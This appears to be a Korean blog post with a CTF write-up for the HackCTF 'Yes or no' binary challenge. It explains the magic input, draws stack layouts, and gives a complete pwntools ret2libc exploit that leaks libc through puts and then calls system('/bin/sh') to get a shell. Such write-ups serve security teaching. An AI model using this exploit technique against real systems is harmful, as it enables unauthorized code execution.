본문 바로가기
시스템 해킹/CTF

[HackCTF] Yes or no

by L3m0n S0ju 2021. 9. 14.

 

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4_0; // eax
  int v5_200; // ecx
  int v6_6; // eax
  int v7; // eax
  char input_str[10]; // [rsp+Eh] [rbp-12h] BYREF
  int input_num_9830400; // [rsp+18h] [rbp-8h]
  int v11; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v11 = 5;
  puts("Show me your number~!");
  fgets(input_str, 10, stdin);
  input_num_9830400 = atoi(input_str);
  if ( (v11 - 10) >> 3 < 0 )
  {
    v4_0 = 0;
  }
  else
  {
    v3 = v11++;
    v4_0 = input_num_9830400 - v3;
  }
  if ( v4_0 == input_num_9830400 )
  {
    puts("Sorry. You can't come with us");
  }
  else
  {
    ++v11;
    v5_200 = 1204 / v11;
    v6_6 = v11++;
    if ( input_num_9830400 == (v6_6 * v5_200) << (++v11 % 20 + 5) )
    {
      puts("That's cool. Follow me");
      gets(input_str);
    }
    else
    {
      v7 = v11--;
      if ( input_num_9830400 == v7 )
      {
        printf("Why are you here?");
        return 0;
      }
      puts("All I can say to you is \"do_system+1094\".\ngood luck");
    }
  }
  return 0;
}

 

 

 

 


 

이번 문제는 150점 문제가 맞나 싶을 정도로 해결하는데 시간이 조금 걸렸다. 개념은 크게 어렵지 않으나 중간에 버전 차이로 인해 발생하는 오류를 고려해야하하는 부분을 생각못해서 lick_base를 구하고도 풀지못했다. 첫번째로 gets 함수를 사용하기 위해서 조건을 만족해야한다. 차근차근 계산하면 input_num_9830400에 9830400을 넣으면 조건을 만족하는 것을 알 수 있다. 변수 이름은 임의로 바꿔가면서 진행했다. 9830400을 입력하면 That's cool. Follow me 라는 문구가 출력되고 gets 함수를 이용할 수 있다. main 함수가 끝날 때 스택을 가정하면 아래와 같다.

 

+------------------------+

|                              |

|                              |<-rsp    
|         main ret          |        
|         main sfp          |         

|           ...                 |         

|          입력값           |               

|                              |             

+------------------------+

 

 

 

 


일단 보호기법을 보면 RELRO가 Partial이므로 레이지 바인딩을 사용하는 것을 알 수 있다. 따라서 got 공격을 진행할 수 있다. 가장 만만한 puts 함수로 libcbase를 추출하겠다. 아래와 같이 gadget을 추가하고 got, plt를 추가한뒤 main 함수를 넣으면 처음 main 함수가 끝나고 puts 함수를 통해 libcbase를 출력하고 다시 main 함수가 실행되는 구조이다.

 

+------------------------+

|                              |

|          main              |

|          puts_plt          |

|          puts_got         |       <- rsp
|          gadget           |       <- pop rdi; ret   
|   main sfp  -> 'aaaa'   |         

|           ...                 |         

|          입력값           |               

|                              |             

+------------------------+

 

 

 

 

 


다음으로 libcbase를 구했으면 아래와 같이 gadget, binsh, system를 입력하면 쉘을 획득할 수 있다. 여기서 문제점이 우분투 18.04 버전에서 movaps 어셈블리 명령어 오류로 인해 rsp가 16 단위가 아니면 오류가 발생한다고 한다. 따라서 ret을 1개 더 추가해야 플래그를 획득할 수 있다.

 

 

+------------------------+

|                              |

|                              |

|          system           |

|          gadget2          |       <- ret

|          binsh             |    
|          gadget1          |       <- pop rdi; ret   
|   main sfp  -> 'aaaa'   |         

|           ...                 |         

|          입력값           |               

|                              |             

+------------------------+

 

 

 

 

 


from pwn import *
 
r=remote("ctf.j0n9hyun.xyz",3009) // 연결
e=ELF('./yes_or_no')
libc=ELF('./libc-2.27.so')
context.log_level='debug'  

def main():  
    puts_plt=e.plt['puts'] 
    puts_got=e.got['puts']
     
    gadget1=0x400883 #pop rdi; ret
    gadget2=0x40056e #ret

 

# 프로그램 시작

    r.recvuntil(b"Show me your number~!\n")
    r.sendline(b"9830400")
    r.recvuntil(b"That's cool. Follow me\n") 

 

# 페이로드 작성 및 전송
    payload=b'a'*26
    payload += p64(gadget1) + p64(puts_got) + p64(puts_plt) + p64(e.sym['main'])
    r.sendline(payload)

 

# libcbase 추출
    leak=u64(r.recv(6)+b'\x00\x00')
    print('[+] leak: ' + hex(leak))
    libcbase = leak - libc.sym['puts']
    print('[+] libcbase: ' + hex(libcbase))

 

# main 함수 2번째 시작

    r.recvuntil(b"Show me your number~!\n") 
    r.sendline("9830400")
    r.recvuntil(b"That's cool. Follow me\n")
    

# 각 함수 주소값 추출 및 출력

    system=libcbase+0x4f440 # gdb에서 p system 입력하면 주소를 알 수 있음
    binsh=libcbase+list(libc.search(b'/bin/sh'))[0] 

    print('[+] system: ' + hex(system))  
    print('[+] binsh: ' + hex(binsh))

 

# 2번째 페이로드 전송
    payload2 = b'a'*26 + p64(gadget1) + p64(binsh) + p64(gadget2) + p64(system)
    r.sendline(payload2)
    r.interactive()
 
if __name__ == '__main__':
    main()

 

 

 

 

 


플래그

'시스템 해킹 > CTF' 카테고리의 다른 글

[HackCTF] Poet  (0) 2021.09.21
[HackCTF] RTL_ World  (0) 2021.09.19
[HackCTF] BOF_PIE  (0) 2021.09.14
[HackCTF] Offset  (0) 2021.09.14
[HackCTF] Simple_Overflow_ver_2  (0) 2021.09.13

댓글